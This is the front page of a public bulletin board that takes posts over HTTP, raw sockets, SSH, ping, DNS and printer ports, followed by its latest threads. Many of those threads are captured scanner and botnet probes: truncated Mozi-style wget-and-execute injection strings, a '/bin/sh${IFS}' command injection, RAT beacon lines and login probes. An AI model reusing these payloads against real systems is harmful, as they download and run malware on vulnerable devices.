anystation :: calling any station
=================================

A public bulletin board shaped like a tree. Accessible by many means and protocols. No account required.
Paths below are relative to wherever you reached us.

EVERY POST HAS AN ADDRESS
  /<id>                    a post. the LAST id is what counts...
  /<id>/<id>/<id>          ...the ids before it are its ancestry (shown for readability;
                           a wrong ancestry is a 404, a bare /<id> always works)
  /                        this root is a post too — post here to start a new thread
  ids are 16 hex chars; an unambiguous prefix of 4+ works: /2b72

READ an address (GET) -> the post + one page of its direct replies, each with its reply count
  GET /<addr>                     human (browser) or plain text (curl)
  GET /<addr>.json                machine view  (or send Accept: application/json)
  GET /<addr>?offset=50&limit=50  pagination — oldest first under a post, newest first at the root
  GET /search?q=word              text, id prefix, or station hash (paginated the same way)
  GET /raw/<id>                   original bytes of a non-text arrival (e.g. a print job)

WRITE to an address (any of these) -> a reply to that post (or a new thread, at /)
  POST /<addr>                    body = your message
  GET  /<addr>?msg=hello          query string
  ANY  /<addr>                    header  X-Message: hello
  GET  /<addr>/post/aGVsbG8       payload in the path (raw, or base64url)

OTHER WAYS IN (no http)
  echo hello | nc HOST 418        raw tcp — end with EOF, a blank line, or 3s of silence
  echo hello | nc -u HOST 418     raw udp — one datagram, one post
  print to HOST:9100              add us as a raw/JetDirect printer; what you print is posted
  email post@HOST                 subject = first line; email <id>@HOST to reply to a post
  ssh HOST                        any username, no password: a tiny shell to read + post
  ssh HOST post "hello"           one-shot;  echo hi | ssh HOST post  also works
  ping -c1 -p 6869 HOST           ping! the -p pattern (hex, ≤16 bytes) is your text; any text payload
                                  works too (raw socket, nping --data-string). or morse:
  ./morse-ping.sh "sos" HOST      timing-morse with ping bursts (script at /morse-ping.sh — read it first)
  dig hello-there.msg.HOST TXT    dns! labels are words, hyphens are spaces. add a label re-<id>
                                  to reply. dig <id>.msg.HOST TXT reads a post; latest.msg.HOST lists
  echo hello | nc HOST 12345      ...or ANY port at all. every port is open. text that isn't a
                                  known protocol becomes a post; everything is logged at /band
  (start with a line "re <id>" or "/<id>/<id>" to reply to a post)

WHAT WE KEEP (asked by a poster, 2026-09-09; the honest version)
  shown publicly: your text, the time, the channel, and a station id — the first 8 hex of a
  salted sha256 of your address. it can't be reversed, but the same address always gets the
  same id, so your posts are linkable to each other. the board is public and gets indexed.
  on disk, not shown: the raw address each post came from, for as long as the post exists.
  the band log (/band): first 1 KB of every knock on any port, station id not address, 7 days.
  the kernel log: source addresses of knocks on non-channel ports (firewall log), rotated by size.
  email: sender address dropped from the text. no web access log, cookies, analytics, or forwarding.
  who sees the raw part: the operator, and whoever could compel the operator or the host (aws).
  => anonymous to readers: yes. to the operator: no. if that matters, come in through tor;
     every channel works from anywhere and the station id then belongs to the exit.

LIMITS  128 KB per post · 60/min and 1000 posts, 4 MB per day per station ·
        the board keeps ~12 GB and rotates the oldest threads out
        the same text sent again by the same station to the same address within a minute folds into one post (shown ×N) ·
        the same text arriving from 20+ stations within 5 minutes is a sweep, not a message, and is dropped

FULL MENU, MACHINE-READABLE:  /.well-known/anystation
SECURITY / CONTACT THE OPERATOR:  /.well-known/security.txt  (policy at /security)
Rules: be kind, keep it legal. This is for routing around your OWN device's
limits, not for hiding from anyone. Every channel is documented on purpose. DON'T PANIC.

LATEST THREADS (3360 total; 1–50)
/0c1fdc3347238c1b  2026-09-28T03:12:12.412Z  [0 repl]  HELLOKETTLE
/f02d47640e117680  2026-09-28T01:54:02.881Z  [0 repl]  ewqdascxz
/3dd098c2d0a04ca2  2026-09-28T01:51:32.149Z  [0 repl]  ewqdascxz
/56ebbbbbf6a7d0c5  2026-09-27T20:11:02.935Z  [0 repl]  MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD
/8d585cb3b7813df6  2026-09-27T16:46:37.891Z  [0 repl]  RQNT 1 *@gateway44.myplace.com MGCP 0.1
/cbd3c2573ddd9e34  2026-09-27T16:09:50.835Z  [0 repl]  google.com
/e756cb8f52b1d9f2  2026-09-27T14:31:40.836Z  [0 repl]  gzhi#e
/ab1e38accead31e8  2026-09-27T14:29:42.701Z  [0 repl]  中秋快乐#egz
/869a9d87ae366614  2026-09-27T11:05:28.089Z  [0 repl]  sryx
/30df813ce8c14340  2026-09-27T08:58:10.177Z  [0 repl]  y crIWPROB
/2f6f04b444f9ddbd  2026-09-27T07:56:42.425Z  [0 repl]  Ahgn
/73ed29dccb29913a  2026-09-27T06:31:12.137Z  [0 repl]  uLfZ
/0b1ffc1f071bb941  2026-09-27T06:03:03.783Z  [0 repl]  PÜq
/06ee6fdb35c8fa8b  2026-09-27T04:31:07.572Z  [0 repl]  sfWK
/519a6fbadc5d67f8  2026-09-27T04:10:17.288Z  [0 repl]  STAR Switch S2800 V4.0
/318392e84b2fa93b  2026-09-27T03:00:39.210Z  [0 repl]  ipN
/3181f77485cd212d  2026-09-27T02:59:17.139Z  [0 repl]  5b5e64c03e99b511000000000000000001100200000000000000015000000134000000010000000100000128010100080300…
/6a8e8b1e7e67dd1b  2026-09-27T00:40:51.417Z  [0 repl]  ZcAh
/2dc71db125f87151  2026-09-27T00:32:32.834Z  [0 repl]  UxbB
/f503cb0502c92ca5  2026-09-26T22:03:15.913Z  [0 repl]  nVERSION
/ca188a2edfea5680  2026-09-26T21:57:01.412Z  [0 repl]  NXSH-5.6.7\n
/991d78f1ec0a7369  2026-09-26T17:52:32.812Z  [0 repl]  root
/2852ce39582342f0  2026-09-26T16:44:12.645Z  [0 repl]  call.startblast 2000 3
/c47f0ade500b5bcf  2026-09-26T14:08:55.673Z  [0 repl]  27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}Mozi.7;${IFS}busybox${IFS}wget${IFS}h…
/159c6d219d634112  2026-09-26T12:52:52.792Z  [0 repl]  VPSPING1'!B7
/858aa0d6422985cc  2026-09-26T09:56:29.961Z  [0 repl]  Muc
/463eacdbe6463a52  2026-09-26T05:08:48.468Z  [0 repl]  'FO$IWPROB
/80943a9d73dbef5b  2026-09-26T04:57:56.870Z  [0 repl]  Action: Login
/127d31d0ee9625cf  2026-09-26T02:25:11.383Z  [0 repl]  27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.…
/306d755b046f4eea  2026-09-26T00:53:36.693Z  [0 repl]  27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.…
/9bce3512edf3708d  2026-09-26T00:39:06.687Z  [0 repl]  stats settings
/a07ec89073e095f8  2026-09-25T22:21:45.461Z  [0 repl]  Action: Login
/4da81beb00721e85  2026-09-25T17:32:57.428Z  [0 repl]  [binary print job, 615 bytes — no text extracted; original at /raw/<id>]
/5619726ee7b49fe5  2026-09-25T17:24:17.278Z  [0 repl]  MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD
/25225a0d1b52bdbe  2026-09-25T15:47:31.589Z  [0 repl]  THju
/775fd792a1fa70d9  2026-09-25T14:16:08.910Z  [0 repl]  Action: Login
/8611626107b6c2e3  2026-09-25T12:14:48.339Z  [0 repl]  google.com
/45b3154c15bb725a  2026-09-25T11:43:23.810Z  [0 repl]  WtU
/920f18d2d97419c5  2026-09-25T07:36:52.080Z  [0 repl]  infragrab-finger-probe
/07de615834d17eb2  2026-09-25T07:36:46.232Z  [0 repl]  infragrab-finger-probe
/702ce6d0535309de  2026-09-25T07:27:31.594Z  [0 repl]  ver
/8de8adca6a3e0777  2026-09-25T07:17:02.277Z  [0 repl]  145.ll|'|'|SGFjS2VkX0Q0OTkwNjI3|'|'|WIN-JNAPIER0859|'|'|JNapier|'|'|19-02-01|'|'||'|'|Win 7 Professi…
/11eae0a032b56974  2026-09-25T07:16:57.594Z  [0 repl]  lv|'|'|VHJvamFuX0M0NkY2RTk=|'|'|MARK|'|'|user|'|'|2013-11-22|'|'||'|'|Win XP|'|'|No|'|'|0.6.4|'|'|..…
/6b21738e48d5e3d8  2026-09-25T07:03:29.895Z  [0 repl]  TVNM1   
MNRD1   
SWVN1   
IPPV1
/f8e0c008dfdad566  2026-09-25T04:58:00.517Z  [0 repl]  root
/bcc6daee751ee7dc  2026-09-25T02:36:46.534Z  [0 repl]  [binary print job, 517 bytes — no text extracted; original at /raw/<id>]
/bfda8e1198bde363  2026-09-25T02:36:31.289Z  [0 repl]  [binary print job, 1560 bytes — no text extracted; original at /raw/<id>]
/77d97b9ea34014a8  2026-09-25T02:32:50.061Z  [0 repl]  Action: Login
/9accd6aa1460fa59  2026-09-25T00:12:34.762Z  [0 repl]  145.ll|'|'|SGFjS2VkX0Q0OTkwNjI3|'|'|WIN-JNAPIER0859|'|'|JNapier|'|'|19-02-01|'|'||'|'|Win 7 Professi…
/3c450e4a76c6abef  2026-09-25T00:12:30.058Z  [0 repl]  lv|'|'|VHJvamFuX0M0NkY2RTk=|'|'|MARK|'|'|user|'|'|2013-11-22|'|'||'|'|Win XP|'|'|No|'|'|0.6.4|'|'|..…
more ->   1–50 of 3360